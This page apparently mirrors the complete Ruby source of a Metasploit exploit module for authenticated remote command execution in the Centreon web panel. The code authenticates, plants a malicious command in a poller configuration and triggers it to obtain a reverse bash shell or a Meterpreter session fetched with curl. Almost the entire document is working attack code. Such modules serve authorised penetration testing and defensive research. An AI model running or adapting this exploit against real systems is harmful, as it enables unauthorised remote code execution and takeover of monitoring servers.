Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/centreon_pollers_auth_rce.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::CmdStager9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Centreon Poller Authenticated Remote Command Execution',16'Description' => %q{17An authenticated user with sufficient administrative rights to manage pollers can use this functionality to18execute arbitrary commands remotely. Usually, the miscellaneous commands are used by the additional modules19(to perform certain actions), by the scheduler for data processing, etc.2021This module uses this functionality to obtain a remote shell on the target.22},23'Author' => [24'Omri Baso', # discovery25'Fabien Aunay', # discovery26'mekhalleh (RAMELLA Sébastien)' # this module27],28'References' => [29['EDB', '47977']30],31'DisclosureDate' => '2020-01-27',32'License' => MSF_LICENSE,33'Platform' => ['linux', 'unix'],34'Arch' => [ARCH_CMD, ARCH_X64],35'Privileged' => true,36'Targets' => [37[38'Reverse shell (In-Memory)',39{40'Platform' => 'unix',41'Type' => :cmd_unix,42'Arch' => ARCH_CMD,43'DefaultOptions' => {44'PAYLOAD' => 'cmd/unix/reverse_bash'45}46}47],48[49'Meterpreter (Dropper)',50{51'Platform' => 'linux',52'Type' => :meterpreter,53'Arch' => ARCH_X64,54'DefaultOptions' => {55'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',56'CMDSTAGER::FLAVOR' => :curl57}58}59]60],61'DefaultTarget' => 0,62'Notes' => {63'Stability' => [CRASH_SAFE],64'Reliability' => [REPEATABLE_SESSION],65'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]66}67)68)6970register_options([71OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']),72OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']),73OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with'])74])75end7677def create_new_poller(poller_name, command_id)78params = { 'p' => '60901' }7980print_status('Create new poller entry on the target.')81token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)82return false unless token8384response = send_request_cgi(85'method' => 'POST',86'uri' => normalize_uri(target_uri.path, 'main.get.php'),87'cookie' => @cookies,88'partial' => true,89'vars_get' => params,90'vars_post' => {91'name' => poller_name,92'ns_ip_address' => '127.0.0.1',93'localhost[localhost]' => '1',94'is_default[is_default]' => '0',95'remote_id' => '',96'ssh_port' => '22',97'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1',98'engine_start_command' => 'service centengine start',99'engine_stop_command' => 'service centengine stop',100'engine_restart_command' => 'service centengine restart',101'engine_reload_command' => 'service centengine reload',102'nagios_bin' => '/usr/sbin/centengine',103'nagiostats_bin' => '/usr/sbin/centenginestats',104'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',105'broker_reload_command' => 'service cbd reload',106'centreonbroker_cfg_path' => '/etc/centreon-broker',107'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',108'centreonbroker_logs_path' => '/var/log/centreon-broker',109'centreonconnector_path' => '',110'init_script_centreontrapd' => 'centreontrapd',111'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',112'pollercmd[0]' => command_id,113'clone_order_pollercmd_0' => '',114'ns_activate[ns_activate]' => '1',115'submitA' => 'Save',116'id' => '',117'o' => 'a',118'centreon_token' => token119}120)121return false unless response122123return true124end125126def execute_command(command, _opts = {})127cmd_name = rand_text_alpha(8..42)128params = { 'p' => '60803', 'type' => '3' }129poller_name = rand_text_alpha(8..42)130131## Register a miscellaneous command.132print_status('Upload command payload on the target.')133134token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)135unless token136print_bad('Could not get the upload form token, potentially due to insufficient access rights.')137return false138end139140response = send_request_cgi(141'method' => 'POST',142'uri' => normalize_uri(target_uri.path, 'main.get.php'),143'cookie' => @cookies,144'partial' => true,145'vars_get' => params,146'vars_post' => {147'command_name' => cmd_name,148'command_type[command_type]' => '3',149'command_line' => command,150'resource' => '$CENTREONPLUGINS$',151'plugins' => '/Centreon/SNMP',152'macros' => '$ADMINEMAIL$',153'command_example' => '',154'listOfArg' => '',155'listOfMacros' => '',156'connectors' => '',157'graph_id' => '',158'command_activate[command_activate]' => '1',159'command_comment' => '',160'submitA' => 'Save',161'command_id' => '',162'type' => '3',163'o' => 'a',164'centreon_token' => token165}166)167return false unless response168169## Create new poller to serve the payload.170create_new_poller(poller_name, get_command_id(cmd_name))171172## Export configuration to reload to trigger the exploit.173poller_id = get_poller_id(poller_name)174if poller_id.nil?175print_bad('Could not trigger the vulnerability!')176end177restart_exportation(poller_id)178end179180def get_auth181print_status('Sending authentication request.')182token = get_token(normalize_uri(target_uri.path, 'index.php'))183unless token.nil?184response = send_request_cgi(185'method' => 'POST',186'uri' => normalize_uri(target_uri.path, 'index.php'),187'cookie' => @cookies,188'vars_post' => {189'useralias' => datastore['USERNAME'],190'password' => datastore['PASSWORD'],191'submitLogin' => 'Connect',192'centreon_token' => token193}194)195return false unless response196197if response.redirect? && response.headers['location'].include?('main.php')198print_good('Successfully authenticated.')199@cookies = response.get_cookies200return true201end202end203204print_bad('Your credentials are incorrect.')205return false206end207208def get_command_id(cmd_name)209response = send_request_cgi(210'method' => 'GET',211'uri' => normalize_uri(target_uri.path, 'main.get.php'),212'cookie' => @cookies,213'vars_get' => {214'p' => '60803',215'type' => '3'216}217)218return nil unless response219220href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href']221return nil unless href222223id = href.split('?')[1].split('&')[2].split('=')[1]224return id unless id.empty?225226return nil227end228229def get_poller_id(poller_name)230response = send_request_cgi(231'method' => 'GET',232'uri' => normalize_uri(target_uri.path, 'main.get.php'),233'cookie' => @cookies,234'vars_get' => { 'p' => '60901' }235)236return nil unless response237238href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href']239return nil unless href240241id = href.split('?')[1].split('&')[2].split('=')[1]242return id unless id.empty?243244return nil245end246247def get_session248response = send_request_cgi(249'method' => 'HEAD',250'uri' => normalize_uri(target_uri.path, 'index.php')251)252cookies = response.get_cookies253return cookies unless cookies.empty?254end255256def get_token(uri, params = {})257## Get centreon_token value.258request = {259'method' => 'GET',260'uri' => uri,261'cookie' => @cookies262}263request = request.merge({ 'vars_get' => params }) unless params.empty?264response = send_request_cgi(request)265266return nil unless response267268begin269token = response.get_html_document.at('input[@name="centreon_token"]')['value']270rescue NoMethodError271return nil272end273274return token275end276277def restart_exportation(poller_id)278print_status('Reload the poller to trigger exploitation.')279token = get_token(normalize_uri(target_uri.path, 'main.get.php'), { 'p' => '60902', 'poller' => poller_id })280281unless token282print_bad('Could not get the poller form token, potentially due to insufficient access rights.')283return false284end285286vprint_status(' -- Generating files.')287response = send_request_cgi(288'method' => 'POST',289'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'),290'cookie' => @cookies,291'vars_post' => {292'poller' => poller_id,293'debug' => 'true',294'generate' => 'true'295}296)297return false unless response298299vprint_status(' -- Restarting engine.')300response = send_request_cgi(301'method' => 'POST',302'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),303'cookie' => @cookies,304'vars_post' => {305'poller' => poller_id,306'mode' => '2'307}308)309return false unless response310311vprint_status(' -- Executing command.')312response = send_request_cgi(313'method' => 'POST',314'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'),315'cookie' => @cookies,316'vars_post' => { 'poller' => poller_id }317)318return false unless response319320return true321end322323def exploit324@cookies = get_session325logged = get_auth unless @cookies.empty?326if logged327case target['Type']328when :cmd_unix329execute_command(payload.encoded)330when :meterpreter331execute_command(generate_cmdstager.join(';'))332end333end334end335336end337338339